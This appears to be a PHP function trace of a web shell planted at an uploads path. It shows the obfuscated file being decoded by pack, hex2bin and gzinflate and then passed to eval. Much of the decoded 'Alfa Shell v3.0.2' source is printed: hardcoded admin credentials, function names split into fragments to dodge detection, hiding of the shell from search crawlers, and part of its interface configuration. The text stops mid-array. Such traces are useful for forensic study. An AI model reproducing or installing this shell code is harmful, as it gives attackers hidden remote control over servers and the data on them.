1		A						/var/www/html/uploads/alfa.php	55	$b64x = 'VFVQnvETzaAfBreTgOPPpqjeHAEBYjgtOcJbWmUvnuZOjdgQsVFGKOjsOmslxYFKaNlwZfqMZqZiSgyJbcqlrYDEluPhsTRRGcmfIcRgsROJXmtyphJefLIrFXXWqpnwrAByCREtItceFUctbkXgweXaBuWRIJMzjMWkDadLtFpxzrpZCLfXQCxrwSHdCtCkeYUhYXSQCgMAXazYMevbGRsbJzFkRgUwePDCMUsOAdnxENUPRpqWfgypFczWITsNIuOuNghmJVjMIdaztqUXxslbukXcdOpLHcEuIlHRgqcntdMktGiPyTrRdNtgCgrijVDrGJHMyKZqNkBFqiUNbkeFXWLYdCHMxJCCRjnptMEFwEjklDYnmCskycIaEpMAXpBOyOCQZGUUJdfVgDIteZcbBLcFzOExCfKZtMptsImAMRvsuCKyBNZcyBgWpKSrPcqineaeMMEXEZpxazVCludiUjeItxYiYOQlsqPDBtaERpbSmwTyPWGiFkQxgpeE'
1		A						/var/www/html/uploads/alfa.php	56	$dcrpt = 'AbZknqXcaLerEYHUKwMAmsAUmSgVIhKiiitwYPYYAcpdAVXkQjjCaKWMbcIKjRSRaKmYzKwZNKCMeZWviGWIqSvruCacSsTSbGqBqLZCUBpzAKTIqprFHkwaMwDEnwWpbLPsxOTQPHppsHxHWmMcxhCIceLqBHebSTSphMEWSTKjZgrVtcxpjZWLDIbdOfFGyxueIYaBrkKqraLKCHYLGvxjCXMqCrwZOpEVMdwCnGSFfcOIJMtPGpyhLjymatMngqiTtFvHKMLPOzxXKqMrEjyPSvbSmmfubOmvSgBCTLrgjndTDpJGyhvrbWIpinhkbTetZeUsPKzyXbrArAgngaEhWMVfZcPAvtsvxllLvKitMYsCyyPEzTlUFGzdincDfuxbeJMzSurdSJFPGvuENezsjXUsLwVQPRSTAdRSXiVPRBExvxBhaZYkwsCgNWxCnOUNrkentaCJagGUcgBdfzNBQOhcLEEYsXkIhPwaPXJpdpiGvJJZHVBWJhYTLbRc'
1		A						/var/www/html/uploads/alfa.php	57	$str_rot13 = 'XlLdJISgZUGjSXWXYpRLeeTckaNBsNHpztthakOAEuiVreTOSjYxORzYsLZJyGXwyPEYAsydkfZajsOBalXOdwmvglDeRAAPPDNpuKsEPQEyhRYIdwwGRIAyTcbkbBZQElEXVwbjleHTweBzAWEReDpXeqHfqGwtRzQlURvgVBzrGZpfvsWzUkWYZDEPJzHZXxLSnfyJgWzMvORpFOnZyjxXlAluYSTwqENDiKLpfkaAySncfBbDjYZVykpWdhsSkEUunGhtQisnAFqegRHPPgKMrZITGzLRcfKPLRHBzYOydDCJTJyhPiUFHbzmBJDcOmSYEYzCxMaAqCiIkfQZnKeuLcHLLJOZWfxZdWBZIBzxDgfNmVmZeruptAaDinbESzDvUEvCETZgAEUlzGkcwdrOcQQlDSPUQSqKVKLzcjGCNZNLFyNaaEndTdOWvcQKufupPfOsOutCtgmxdAWDdjf'
1		A						/var/www/html/uploads/alfa.php	58	$b64x = 'UktdBOzASliANyCUIpPHxqJQVHXlOXeIhWkiKiIbTqbHODBwRPcNfkcARZLGWqNElyMwGTxAjyGXaGSsvuEZEHzUGkZcZNGkkRGqKDpTaUqbAhSVawUEcTziDykCKqlugsKqUYJUTYvtGmNGJhkkaitDfDeQsqjXHtnBswVKuqCzcqfkxPvxXOZcQdsiSCFAusALNvUhkxfMMkWIzrewedYVGPDXQhWkZxvMrqtaMzMXJIFIZiDDLBXQrANghKQgglSWBlXMjiisrmZPvDsFDqvTphAwRqCxaUTBfqMOyufOGfcAIvekjzEygDUxsVutPmtuCfhzYnNFSPEAJJjSHNrNPKkhFEAUQSnRxVqwiCAasdZaMItuViGKSQRWuQqJJEAFzqagRZGIdeJpMBhHJOsaEIWyzmGHqGlnVMTlLzUnDcDODKwLXmLbUHztteZhjLvExNQHljVnLXCNgXyejifdpEWhhvpRfjvbWkJITdvdaWQgTNkCVPfKSBraVFRB'
1		A						/var/www/html/uploads/alfa.php	59	$dcrpt = 'lYSUQGMyxUXfRntNTKQlzPnmZhCzWcZharBqWMNtHLyXyRKraBCYPpknVMlROkynCzEykrrrBOpZeyPEysDmfNZbAksNVQbWOFTYVjPWyDVbaKGYBiKHVKhUuzIpOJkCneaINPEkRzmrJspjAZqUiWPCwxrjfalSElAsAEbrCngkeVUEUJzCGndBjujpUvGyGFPfiRVLECvJxOMQyksDXvdgpmUihAGNfVtnlNyPpTXkHKaEusGsNJXBwSicROpWiHKuUHjiAGuHqTKKlrbyzyYuqgwhuLDcRmwLUeuTLmZAfjjrAKnyilsyRNeLXINpuIZNmSgXefxKpganQplYZDWrPaBmhNBbvZOHSUdwAafngGCWumvSPridQiqyVQzQQmWIHAdgAJuGpvbIHwAVliZcrpZMfybvjxCqWFwwNqBbKDiRyilKrklgZksEhtYQQZglEbIRrISBKBRiJcszNDFlmxPTpmJElpQprXfHFyhPYYXgBpFnrJzcfNVvzdyj'
1		A						/var/www/html/uploads/alfa.php	60	$str_rot13 = 'fQTuZZLgtySUQHvKYJlbrAKLJCSezezEuSxSrhYJFrcUXxFwFqxWpGgXhYbGCaJvSgmiNLrSBTMyPQtvFpQTUWRCVshWsrsJWErJOhBpAnmpdFiJUYbOVSqqkXLbNckJgasUhTJgGVwiAErTDthXKWMutxVfZfOffGzNYhTdCOlctcvvUCREYcYrYtWXyKccPbpNiIQLwCmOEgIXiYBgaYxZrtwnDYrRZeFHMURiVdwYKeVSCWYDUUbLNxYPvOGuTKBFesmZVJyFmtxOpUQJnRuaORpiGvcYeDcIuqhpyFTKxPXMiOUWenWSELBjfcHJFKsyZzNxdfGAvcLcQFYvsvMwfmFkpMTtwKRvidrliwlcywfObdISyunDHtmveGnAqeuzhjjPeUSCrxPRAxiYRxaXpnRttesIikGPTQeXjwYASOrsKAPawQ'
1		A						/var/www/html/uploads/alfa.php	61	$b64x = 'eWwtlxsFKmGyNYgbwAcqqumfzkeXPPATLvmwrdAaqfzdDeEYdfNtZzYyJCVzrvRBPDWFGwGwaEYDhbbkgndfmBEVcYTttktHNplTjrOJUMLBNMlTApzMPCgrAaisKBYxpJPyaDGuOrVBDgUcUSniuuztTHKDHhAVqOSPRyjFOEgrKAtdsflLAjDtqmwWTvRiiiYZGHFukkLuKDxBJhLIrnaGAVbtqsaYAYXfFbzpLJIvMEvvLfcBtCGSXHKmYLKXihcnibCuKKnVNJqzORzhTfzQlJCKTmHbuKObkQvuAJqmsekfWjMPplFZuGJmSrNlACNKRhDrQScHXNNtWYHKjLJcrSpjicUhdHrUpTKellMIyYaTWgcGRMIHdxqlYkSBrivFbEjMpvuNtTGOZJTqUbXXXmIVWAwNIqsitaVHvOumIaBgiuxcUTZRFgMbGHONwFvOGPwAEpNLOnRWgNYbfxSkDelILzvHdqvieqJhewSSijPpwmqCKIMmMxVWVPDy'
1		A						/var/www/html/uploads/alfa.php	62	$dcrpt = 'XEztDWYBqOdBXGBqvPlYqdLiyhsaknvhRtaTqYveNXGKEGZyvLWjOHSlpJLzWfHNzHgnFBRRXxaBdazXkvHYBYJPHupDYVPWbVjfVBXTXXTAxRXHlEemCNbIgqkFKZBLvkRqLnIhKbhHSeNEhSQieRQlhaqRzQcTAtJkfrSPRZVKdJNKaDSeTIPAhesGvTAUlIFryWFqVazyJlhinZMggCHnfyTZrSubAYsyuwNpwllEWtMjRzPXAwketDeJwyKvVBSpXFctqnxLfiuwgjtfeckyFOGAlQVgQNUmSWGhJCtnKMJrVBVADfXHTchEscjipdvgzAOhbgvlSdCnEWNGcjNvLUZdwilKMfRkGetHkmsCrtPuqbAsKmlwgKzbtjLepbpUfgbqutSjlgcBiCsSODNuNlvfvGJjHxDNEECxxTGIAhihKZzyCmSpyMTtsCbZZElcImzeGElfLTmvSLtTxKIvwBmOdnmCRXEzJCcpfnTqGfLyrDRmmzHhzTvbggDy'
1		A						/var/www/html/uploads/alfa.php	63	$str_rot13 = 'hlbcssVAdZSSAQxhqWsYZcsFFbJlquXxFYYwqUVStnKSDgZS'
2	43	0	0.007019	892136	pack	0		/var/www/html/uploads/alfa.php	64	2	'H*'	'65636664373937623161626262323238306566663964666433636662336237343761373961353631316233333761323633386331313834666631306331653633356634653033306462343064333461313162363333626362663762336266353532356139356233643830373135366436333966376665646562626636386530316139353432613464613532616139353466353635653366333937343136376630656637666664666235666139666666636662356663353665346235373261316461336462353531363934633735633332396463636665666235663562343663333661316134643635663335396439623731653836636161656665363430646666'
2	43	1	0.007923	1084712
2	43	R			'ecfd797b1abbb2280eff9dfd3cfb3b747a79a5611b337a2638c1184ff10c1e635f4e030db40d34a11b633bcbf7b3bf5525a95b3d807156d639f7fedebbf68e01a9542a4da52aa954f565e3f3974167f0ef7ffdfb5fa9fffcfb5fc56e4b572a1da3db551694c75c329dccfefb5f5b46c36a1a4d65f359d9b71e86caaefe640dfffdaf6c3ab3f6ef7f1dea66775db987f4646711d2bfb67b90926c58bd7fffeb3f29c42bffefab6dd8b669f56bb6a30f9d583c8f89733b07c79bc583ca77add3351cdbe8dfe827da9d5250f4e1507f8efdfb5f1fb4915db74fcfc7c5cec36549530a1b8aa6377b665f4b60e640bf6ef50fce769f1fbb239eb9dc5a5cca1a8d5c76'
2	44	0	0.008134	1084648	hex2bin	0		/var/www/html/uploads/alfa.php	64	1	'ecfd797b1abbb2280eff9dfd3cfb3b747a79a5611b337a2638c1184ff10c1e635f4e030db40d34a11b633bcbf7b3bf5525a95b3d807156d639f7fedebbf68e01a9542a4da52aa954f565e3f3974167f0ef7ffdfb5fa9fffcfb5fc56e4b572a1da3db551694c75c329dccfefb5f5b46c36a1a4d65f359d9b71e86caaefe640dfffdaf6c3ab3f6ef7f1dea66775db987f4646711d2bfb67b90926c58bd7fffeb3f29c42bffefab6dd8b669f56bb6a30f9d583c8f89733b07c79bc583ca77add3351cdbe8dfe827da9d5250f4e1507f8efdfb5f1fb4915db74fcfc7c5cec36549530a1b8aa6377b665f4b60e640bf6ef50fce769f1fbb239eb9dc5a5cca1a8d5c76'
2	44	1	0.008517	1182984
2	44	R			'�y{\032��(\016���<�;tzy�a\0333z&8�\030O�\f\036c_N\003\r�\r4�\033c;���U%�[=�qV�9��޻��\001�T*M�*�T�e��Ag����_����_�nKW*\035��U\026��\\2���_[F�j\032Me�Yٷ\036�ʮ�d\r���l:���\035�fw]���dg\021ҿ�{��lX���?)�+��mضi�k��\017�X<��s;\aǛŃ�w��5\034����\'ڝRP��P���_\037��]�O�����eIS\n\033��7{f_K`�@�n�\017�v�\037�#���Z\\�\032�\\v-�\\i�W������Jvi��M\033\rV���\027W���hl�ri�ѵJ�g���\017�׶���2������n�ee8\021����1����=�p�#\003r��s���IiwPٽ)h--���\r��?\023�Y�\017�j\006�y�\024��⧆\b�\016�ݫ�ӳ�QAâ\035��ÿa'
2	45	0	0.010255	990440	gzinflate	0		/var/www/html/uploads/alfa.php	64	1	'�y{\032��(\016���<�;tzy�a\0333z&8�\030O�\f\036c_N\003\r�\r4�\033c;���U%�[=�qV�9��޻��\001�T*M�*�T�e��Ag����_����_�nKW*\035��U\026��\\2���_[F�j\032Me�Yٷ\036�ʮ�d\r���l:���\035�fw]���dg\021ҿ�{��lX���?)�+��mضi�k��\017�X<��s;\aǛŃ�w��5\034����\'ڝRP��P���_\037��]�O�����eIS\n\033��7{f_K`�@�n�\017�v�\037�#���Z\\�\032�\\v-�\\i�W������Jvi��M\033\rV���\027W���hl�ri�ѵJ�g���\017�׶���2������n�ee8\021����1����=�p�#\003r��s���IiwPٽ)h--���\r��?\023�Y�\017�j\006�y�\024��⧆\b�\016�ݫ�ӳ�QAâ\035��ÿa'
2	45	1	0.012932	1318152
2	45	R			'?><?php\r\n\r\n/*\r\nAlfa Shell - v3.0.2\r\nDecoded By Jokr Haxor\r\n2019\r\nMail: jokr.h4xor@gmail.com\r\n*/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n@session_start();\r\n\r\n$GLOBALS[\'hletsenZaP\'] = array(\r\n\t\'usbsQUwAhkWC\' => \'admin\',\r\n\t\'paYfnLRHyvlu\' => \'a6f452ec3293d7fb72c5b677257b20ec\',\r\n\t\'sabQVXtrNNwi\' => \'0\',\r\n\t\'loCUHRmbYqtC\' => \'403\',\r\n\t\'shPODWfHFYHd\' => \'1\',\r\n\t\'pooyIhiDACzI\' => true,\r\n);\r\n$pcvPCHpSHZ=\'f\'.\'unc\'.\'t\'.\'i\'.\'o\'.\'n\'.\'_e\'.\'xi\'.\'s\'.\'t\''
2	46	0	0.013466	1219816	__lambda_func	1		/var/www/html/uploads/alfa.php	64	1	'?><?php\r\n\r\n/*\r\nAlfa Shell - v3.0.2\r\nDecoded By Jokr Haxor\r\n2019\r\nMail: jokr.h4xor@gmail.com\r\n*/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n@session_start();\r\n\r\n$GLOBALS[\'hletsenZaP\'] = array(\r\n\t\'usbsQUwAhkWC\' => \'admin\',\r\n\t\'paYfnLRHyvlu\' => \'a6f452ec3293d7fb72c5b677257b20ec\',\r\n\t\'sabQVXtrNNwi\' => \'0\',\r\n\t\'loCUHRmbYqtC\' => \'403\',\r\n\t\'shPODWfHFYHd\' => \'1\',\r\n\t\'pooyIhiDACzI\' => true,\r\n);\r\n$pcvPCHpSHZ=\'f\'.\'unc\'.\'t\'.\'i\'.\'o\'.\'n\'.\'_e\'.\'xi\'.\'s\'.\'t\''
3	47	0	0.023019	3500336	eval	1	'?><?php\r\n\r\n/*\r\nAlfa Shell - v3.0.2\r\nDecoded By Jokr Haxor\r\n2019\r\nMail: jokr.h4xor@gmail.com\r\n*/\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n@session_start();\r\n\r\n$GLOBALS[\'hletsenZaP\'] = array(\r\n\t\'usbsQUwAhkWC\' => \'admin\',\r\n\t\'paYfnLRHyvlu\' => \'a6f452ec3293d7fb72c5b677257b20ec\',\r\n\t\'sabQVXtrNNwi\' => \'0\',\r\n\t\'loCUHRmbYqtC\' => \'403\',\r\n\t\'shPODWfHFYHd\' => \'1\',\r\n\t\'pooyIhiDACzI\' => true,\r\n);\r\n$pcvPCHpSHZ=\'f\'.\'unc\'.\'t\'.\'i\'.\'o\'.\'n\'.\'_e\'.\'xi\'.\'s\'.\'t\'.\'s\'.\'\';\r\n$XLaHXDQRnN=\'c\'.\'h\'.\'a\'.\'rC\'.\'ode\'.\'At\'.\'\';\r\n$CySFmIwDgG=\'e\'.\'va\'.\'l\';\r\n$FSMVudEUDM=\'g\'.\'zin\'.\'fla\'.\'t\'.\'e\';\r\nif(!$pcvPCHpSHZ(\'b\'.\'a\'.\'se\'.\'64_e\'.\'n\'.\'co\'.\'de\')){\r\n\tfunction nYvFzfAHYE($data){\r\n\t\tif(empty($data))\r\n\t\t\treturn;\r\n\t\t$b64=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';\r\n\t\t$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;\r\n\t\t$ac = 0;\r\n\t\t$enc = \'\';\r\n\t\t$tmp_arr = array();\r\n\t\tif(!$data){\r\n\t\t\treturn $data;\r\n\t\t}\r\n\t\tdo{\r\n\t\t\t$o1 = $XLaHXDQRnN($data, $i++);\r\n\t\t\t$o2 = $XLaHXDQRnN($data, $i++);\r\n\t\t\t$o3 = $XLaHXDQRnN($data, $i++);\r\n\t\t\t$bits = $o1 << 16 | $o2 << 8 | $o3;\r\n\t\t\t$h1 = $bits >> 18 & 0x3f;\r\n\t\t\t$h2 = $bits >> 12 & 0x3f;\r\n\t\t\t$h3 = $bits >> 6 & 0x3f;\r\n\t\t\t$h4 = $bits & 0x3f;\r\n\t\t\t$tmp_arr[$ac++] = charAt($b64, $h1).charAt($b64, $h2).charAt($b64, $h3).charAt($b64, $h4);\r\n\t\t}while ($i < strlen($data));\r\n\t\t\r\n\t\t$enc = implode($tmp_arr, \'\');\r\n\t\t$r = (strlen($data) % 3);\r\n\t\treturn ($r ? substr($enc, 0, ($r - 3)) : $enc).substr(\'===\', ($r || 3));\r\n\t}\r\n\t\r\n\tfunction charCodeAt($data, $char){ \r\n\t\treturn ord(substr($data, $char, 1));\r\n\t}\r\n\tfunction charAt($data, $char){\r\n\t\treturn substr($data, $char, 1);\r\n\t}\r\n}else{\r\n\tfunction nYvFzfAHYE($s){\r\n\t\t$b=\'b\'.\'a\'.\'se\'.\'64_e\'.\'n\'.\'co\'.\'de\';\r\n\t\treturn $b($s);\r\n\t\t}\r\n}\r\n\r\nif(!$pcvPCHpSHZ(\'b\'.\'ase64_\'.\'d\'.\'e\'.\'code\'.\'\')){\r\n\tfunction LIngjfMNOl($input){\r\n\t\tif(empty($input))return;\r\n\t\t$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";\r\n\t\t$chr1 = $chr2 = $chr3 = "";\r\n\t\t$enc1 = $enc2 = $enc3 = $enc4 = "";\r\n\t\t$i = 0;$output = "";\r\n\t\t$input = preg_replace("[^A-Za-z0-9\\+\\/\\=]", "", $input);\r\n\t\tdo{\r\n\t\t\t$enc1 = strpos($keyStr, substr($input, $i++, 1));\r\n\t\t\t$enc2 = strpos($keyStr, substr($input, $i++, 1));\r\n\t\t\t$enc3 = strpos($keyStr, substr($input, $i++, 1));\r\n\t\t\t$enc4 = strpos($keyStr, substr($input, $i++, 1));\r\n\t\t\t$chr1 = ($enc1 << 2) | ($enc2 >> 4);\r\n\t\t\t$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);\r\n\t\t\t$chr3 = (($enc3 & 3) << 6) | $enc4;\r\n\t\t\t$output = $output . chr((int) $chr1);\r\n\t\t\tif ($enc3 != 64) {\r\n\t\t\t\t$output = $output . chr((int) $chr2);\r\n\t\t\t}if ($enc4 != 64) {\r\n\t\t\t\t$output = $output . chr((int) $chr3);\r\n\t\t\t}\r\n\t\t\t$chr1 = $chr2 = $chr3 = "";\r\n\t\t\t$enc1 = $enc2 = $enc3 = $enc4 = "";\r\n\t\t}while($i < strlen($input));return $output;\r\n\t\t}\r\n}else{\r\n\tfunction LIngjfMNOl($s){\r\n\t\t$b=\'b\'.\'ase64_\'.\'d\'.\'e\'.\'code\'.\'\';return $b($s);\r\n\t}\r\n}\r\n\r\n\r\n\r\nfunction __ZW5jb2Rlcg($s){\r\nreturn nYvFzfAHYE($s);\r\n}\r\nfunction __ZGVjb2Rlcg($s){\r\nreturn LIngjfMNOl($s);\r\n}\r\n$GLOBALS[\'DB_NAME\'] = $GLOBALS[\'hletsenZaP\'];\r\n$check = false;\r\nif(!isset($_SESSION["alfa_settings_signature"])){\r\n$check = true;\r\n}else{\r\nif($_SESSION["alfa_settings_signature"] != md5(print_r($GLOBALS[\'DB_NAME\'], true))){\r\n$check = true;\r\n}\r\n}if($check){\r\n$_SESSION["alfa_settings_signature"] = md5(print_r($GLOBALS[\'DB_NAME\'], true));\r\nforeach($GLOBALS[\'hletsenZaP\'] as $key => $value){\r\n$prefix = substr($key, 0, 2);\r\nif($prefix == "us"){\r\n$GLOBALS[\'DB_NAME\']["user"] = $value;\r\n$GLOBALS[\'DB_NAME\']["user_rand"] = $key;\r\n}elseif($prefix == "pa"){\r\n$GLOBALS[\'DB_NAME\']["pass"] = $value;\r\n$GLOBALS[\'DB_NAME\']["pass_rand"] = $key;\r\n}elseif($prefix == "sa"){\r\n$GLOBALS[\'DB_NAME\']["safemode"] = $value;\r\n$GLOBALS[\'DB_NAME\']["safemode_rand"] = $key;\r\n}elseif($prefix == "lo"){\r\n$GLOBALS[\'DB_NAME\']["login_page"] = $value;\r\n$GLOBALS[\'DB_NAME\']["login_page_rand"] = $key;\r\n}elseif($prefix == "sh"){\r\n$GLOBALS[\'DB_NAME\']["show_icons"] = $value;\r\n$GLOBALS[\'DB_NAME\']["show_icons_rand"] = $key;\r\n}elseif($prefix == "po"){\r\n$GLOBALS[\'DB_NAME\']["post_encryption"] = $value;\r\n$GLOBALS[\'DB_NAME\']["post_encryption_rand"] = $key;\r\n}\r\n}\r\n$_SESSION["alfa_db_settings"] = $GLOBALS[\'DB_NAME\'];\r\n}else{$GLOBALS[\'DB_NAME\'] = $_SESSION["alfa_db_settings"];\r\n}unset($GLOBALS[\'hletsenZaP\']);\r\n\r\n if(!isset($_SERVER["HTTP_HOST"]))\r\n exit();\r\n\r\n\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match(\'/\'.implode(\'|\',$userAgents).\'/i\',$_SERVER[\'HTTP_USER_AGENT\'])){header(\'HTTP/1.0 404 Not Found\');exit;}}\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'user\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'user\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'pass\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'pass\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'safemode\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'safemode\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'login_page\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'login_page\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'show_icons\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'show_icons\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'post_encryption\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'post_encryption\\\']\');\r\ndate_default_timezone_set(\'Asia/Tehran\');\r\ndefine("__ALFA_MD5NAME__", md5($_SERVER["SCRIPT_FILENAME"]));\r\ndefine("__ALFA_VERSION__", "3.0.2");\r\ndefine("__LAST_CWD__", "last_cwd_".__ALFA_MD5NAME__);\r\ndefine("__PATH_HISTORY__", "path_history_".__ALFA_MD5NAME__);\r\ndefine("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));\r\n$GLOBALS[\'__ALFA_COLOR__\'] = array(\r\n\t\t"shell_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".header" => "border: 7px solid {color}",\r\n\t\t\t\t"#meunlist" => "border-color: {color}",\r\n\t\t\t\t"#hidden_sh" => "background-color: {color}",\r\n\t\t\t\t".ajaxarea" => "border: 1px solid {color}",\r\n\t\t\t\t".foot" => "border-color: {color}",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_vars" => "#27979B",\r\n\t\t"header_values" => "#67ABDF",\r\n\t\t"header_on" => "#00FF00",\r\n\t\t"header_off" => "#ff0000",\r\n\t\t"header_none" => "#00FF00",\r\n\t\t"home_shell" => "#ff0000",\r\n\t\t"home_shell:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".home_shell:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"back_shell" => "#efbe73",\r\n\t\t"back_shell:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".back_shell:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_pwd" => "#00FF00",\r\n\t\t"header_pwd:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".header_pwd:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_drive" => "#00FF00",\r\n\t\t"header_drive:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".header_drive:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_show_all" => "#00FF00",\r\n\t\t"disable_functions" => "#ff0000",\r\n\t\t"footer_text" => "#27979B",\r\n\t\t"menu_options" => "#27979B",\r\n\t\t"menu_options:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".menu_options:hover" => "background-color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list" => array(\r\n\t\t\t"key_color" => "#00FF00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".ajaxarea .header center a" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".ajaxarea .header center a:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list_header" => array(\r\n\t\t\t"key_color" => "#59cc33",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".txtfont_header" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list_text" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".txtfont,.tbltxt" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"Alfa+" => array(\r\n\t\t\t"key_color" => "#27E8AE",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".alfa_plus" => "color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"hidden_shell_text" => array(\r\n\t\t\t"key_color" => "#00FF00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"#hidden_sh a" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"hidden_shell_version" => "#ff0000",\r\n\t\t"shell_name" => "#FF0000",\r\n\t\t"main_row:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main tr:hover" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"main_header" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main th" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"main_name" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main .main_name" => "color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"main_size" => "#67ABDF",\r\n\t\t"main_modify" => "#67ABDF",\r\n\t\t"main_owner_group" => "#67ABDF",\r\n\t\t"main_green_perm" => "#25ff00",\r\n\t\t"main_red_perm" => "#FF0000",\r\n\t\t"main_white_perm" => "#FFFFFF",\r\n\t\t"beetween_perms" => "#FFFFFF",\r\n\t\t"main_actions" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main .actions" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"menu_options:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".menu_options:hover" => "background-color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"minimize_editor_background" => array(\r\n\t\t\t"key_color" => "#0e304a",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".minimized-wrapper" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"minimize_editor_text" => array(\r\n\t\t\t"key_color" => "#f5deb3",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".minimized-text" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_border" => array(\r\n\t\t\t"key_color" => "#0e304a",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-explorer,.editor-modal" => "border: 2px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_background" => array(\r\n\t\t\t"key_color" => "rgba(0, 1, 23, 0.94)",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-explorer,.editor-modal" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_header_background" => array(\r\n\t\t\t"key_color" => "rgba(21, 66, 88, 0.93)",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-header" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_header_text" => array(\r\n\t\t\t"key_color" => "#00ff7f",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-path" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_header_button" => array(\r\n\t\t\t"key_color" => "#1d5673",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".close-button, .editor-minimize" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_actions" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor_actions" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_file_info_vars" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor_file_info_vars" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_file_info_values" => array(\r\n\t\t\t"key_color" => "#67ABDF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".filestools" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_header" => array(\r\n\t\t\t"key_color" => "#14ff07",\r\n\t\t\t"multi_selector" => 